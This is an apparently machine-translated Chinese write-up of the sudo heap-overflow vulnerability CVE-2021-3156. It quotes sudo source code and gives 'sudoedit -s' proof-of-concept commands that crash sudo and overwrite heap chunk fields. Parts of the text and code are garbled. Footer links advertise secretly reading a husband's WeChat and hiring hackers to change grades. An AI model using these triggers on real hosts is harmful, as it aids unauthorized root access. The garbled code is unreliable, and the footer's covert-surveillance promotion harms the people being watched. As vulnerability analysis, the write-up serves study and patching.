CVE-2021-3156 Linux sudo漏洞剖析

访客4年前黑客文章513

Qualys科学研究工作人员发觉了Linux sudo的安全性漏洞。在类Unix 系统软件中, *** 攻击利用该漏洞能够让非权利客户在默认设置sudo 配备下获得root管理权限。

Sudo 是根据Unix和Linux的电脑操作系统中的程序流程,能够让网站管理员给予sudoers文档中的客户比较有限的root管理权限。该漏洞是2011年7月的commit 8255ed69中引入的,距今早已快十年了,危害1.8.2到1.8.31p2版本,及其默认设置配备的1.9.0 到1.9.5p1平稳版本中。

Qualys安全性科学研究工作人员单独认证了该漏洞,并开发设计出了Ubuntu 20.04 (Sudo 1.8.31)、Debian 10 (Sudo 1.8.27)和Fedora 33 (Sudo 1.9.2)版本的好几个漏洞利用。

假如Sudo以shell 方式实行来运行指令:

能够根据-s 选择项来设定Sudo的MODE_SHELL flag;或

根据-s 选择项来设定Sudo的MODE_SHELL 和 MODE_LOGIN_SHELL flag,随后在Sudo的 main()涵数逐渐时,用parse_args() 覆写 argv (609-617行),实际 *** 是联接全部的命令行参数(587-595行)和用反斜杠(backslash)来编号(escape)全部的元字符(590-591行):

--------------------------------------------------------------------

571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)){

572 char **av, *cmnd = NULL;

573 int ac = 1;

...

581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);

...

587 for (av = argv; *av != NULL; av ){

588 for (src = *av; *src != ''; src ){

589

590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')

591 *dst = '\\\\';

592 *dst = *src;

593 }

594 *dst = ' ';

595 }

...

600 ac = 2;

...

603 av = reallocarray(NULL, ac 1, sizeof(char *));

...

609 av[0]= (char *)user_details.shell;

610 if (cmnd != NULL){

611 av[1]= "-c";

612 av[2]= cmnd;

613 }

614 av[ac]= NULL;

615

616 argv = av;

617 argc = ac;

618 }

---------------------------------------------------------------------

随后,在sudoers_policy_main()中,set_cmnd()会联接全部的命令行参数到根据堆的缓存文件“user_args” (864-871行)中,编解码全部的元字符(866-867行):

--------------------------------------------------------------

819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)){

...

852 for (size = 0, av = NewArgv 1; *av; av )

853 size = strlen(*av) 1;

854 if (size == 0 || (user_args = malloc(size)) == NULL){

...

857 }

858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){

...

864 for (to = user_args, av = NewArgv 1; (from = *av); av ){

865 while (*from){

866 if (from[0]== '\\\\' && !isspace((unsigned char)from[1]))

867 from ;

868 *to = *from ;

869 }

870 *to = ' ';

871 }

...

884 }

...

886 }

---------------------------------------------------------------------

可是,假如命令行参数是以反斜杠标识符末尾的,那麼:

在866行,“from[0]”是反斜杠标识符,“from[1]”是主要参数的空终止符;

在867行,“from”是增长的,并偏向了空终止符;

在868行,空终止符被拷贝到了“user_args”缓存文件,“from”是增长的,并偏向了空终止符后的之一个标识符;

865-869行的while 循环系统会载入和拷贝越境标识符到“user_args”缓存文件。

换句话说,因为被拷贝到“user_args”缓存文件的越境标识符并没有852-853行的size中,因而set_cmnd() 易遭受根据堆的缓存溢出漏洞进攻。

可是,理论上沒有命令行参数以单独反斜杠标识符完毕:假如在858行设定了MODE_SHELL或MODE_LOGIN_SHELL,也设定了MODE_SHELL(571行),那麼parse_args() 会编号全部的元字符,包含反斜杠。

实际上,set_cmnd()中有漏洞的编码和parse_args()中的编号编码是有不一样的标准的:

---------------------------------------------------------------------

819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)){

...

858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){

---------------------------------------------------------------------

versus:

---------------------------------------------------------------------

571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)){

---------------------------------------------------------------------

难题的关键是是不是能够设定MODE_SHELL和MODE_EDIT 或 MODE_CHECK,而不是默认设置的MODE_RUN?

回答是No。假如设定了MODE_EDIT (-e opt ion)或MODE_CHECK (-l option),随后parse_args() 会从“valid_flags”清除MODE_SHELL,假如特定失效的flag便会由于不正确撤出:

---------------------------------------------------------------------

358 case 'e':

...

361 mode = MODE_EDIT;

362 sudo_settings[ARG_SUDOEDIT].value = "true";

363 valid_flags = MODE_NONINTERACTIVE;

364 break;

  ...

  416 case 'l':

  ...

  423 mode = MODE_LIST;

  424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;

  425 break;

  ...

  518 if (argc > 0 && mode == MODE_LIST)

  519 mode = MODE_CHECK;

  ...

  532 if ((flags & valid_flags) != flags)

  533 usage(1);

  ---------------------------------------------------------------------

  但是,研究人员发现一个循环漏洞:如果以“sudoedit” 而非 “sudo” 执行Sudo,parse_args()就会自动设置MODE_EDIT (270行),而不重新设置“valid_flags”, “valid_flags”默认是含有MODE_SHELL的(127和249行):

  ---------------------------------------------------------------------

  127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)

  ...

  249 int valid_flags = DEFAULT_VALID_FLAGS;

  ...

  267 proglen = strlen(progname);

  268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {

  269 progname = "sudoedit";

  270 mode = MODE_EDIT;

  271 sudo_settings[ARG_SUDOEDIT].value = "true";

  272 }

  ------------------------------------------------------------------------

  因此,如果执行“sudoedit -s”,就可以设置MODE_EDIT 和 MODE_SHELL (而非 MODE_RUN),并通过以单反斜杠字符结尾的命令行参数来覆写基于堆的缓存“user_args”:

  ---------------------------------------------------------------------

  sudoedit -s '\' `perl -e 'print "A" x 65536'`

  malloc(): corrupted top size

  Aborted (core dumped)

  ---------------------------------------------------------------------

  从攻击者的角度来看,该缓存溢出漏洞是非常理想的,主要原因有:

  攻击者可以控制“user_args” 缓存的大小;

  攻击者可以独立控制溢出的大小和内容;

  攻击者可以将空字节写入覆写的缓存中。

  比如,在amd64 Linux系统中,以下命令会分配一个24字节的“user_args”缓存,然后用“A=aB=b” (0x00623d4200613d41) 覆写下一个chunk的size域,用“C=cD=d” (0x00643d4400633d43) 覆写fd域,用“E=eF=f” (0x00663d4600653d45) 覆写bk域:

  ---------------------------------------------------------------------

  env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'

  ---------------------------------------------------------------------

  --|--------+--------+--------+--------|--------+--------+--------+--------+--

  | | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|

  --|--------+--------+--------+--------|--------+--------+--------+--------+--

  size size fd bk

  PoC视频参见:

  来源:

相关文章

美国视频游戏玩家平均年龄为37岁

美国视频玩家的年龄结构为37岁   新智元讯 中国北京时间7月7日零晨信息,英国娱乐软件协会(Entertainment Software Association)发布数据信息称,美国视频玩家...

绝地求生黑客大全(绝地求生之最强黑客)

绝地求生黑客大全(绝地求生之最强黑客)

本文目录一览: 1、绝地求生themida怎么解决 2、三百多万“吃鸡”账号价值1900万元,如何被盗的? 3、绝地求生的外挂真的难以解决吗? 4、绝地求生有哪些比较有意思的黑话?求科普...

windows无法格式化u盘怎么解决

windows无法格式化u盘怎么解决

1、按住键盘快捷键Win R键调成运作页面键入CMD点一下明确 2、在开启的DOS窗口键入“format X:/fs:fat32”注:命令中的X就是指大家插入u盘的本地磁盘,键入进行按回...

黑客技术网(黑客技术网站大全)

黑客技术网(黑客技术网站大全)

攻击就是最好是的防御力,这话一样适用网络信息安全的全球。这儿列举了 19 个合理合法的来训练黑客技术性的网址,无论你是一名开发者、注安师、编码注册会计师、网站渗透测试工作人员,根据持续的训练才可以给你...

怎么跟踪老公的微信聊天记录「怎样将删除的微信聊天记录恢复」

  三招教你怎样偷偷接收老公微信(同步接受老公微信聊天记录不被他发现)   没有这样的软件。只是计算机和手机可能同时在线。   我该如何同步地秘密接收别人的微信?   小问题,我会在几分钟内帮助您完成...

学历网_能不能找黑客改大学成绩-号被朋友找黑客找了

「学历网_能不能找黑客改大学成绩-号被朋友找黑客盗了」3)实例银行网站A违反了HTTP规范,运用GET恳求更新资源。 在拜访风险网站B的之前,你现已登录了银行网站A,而B中的<img>以G...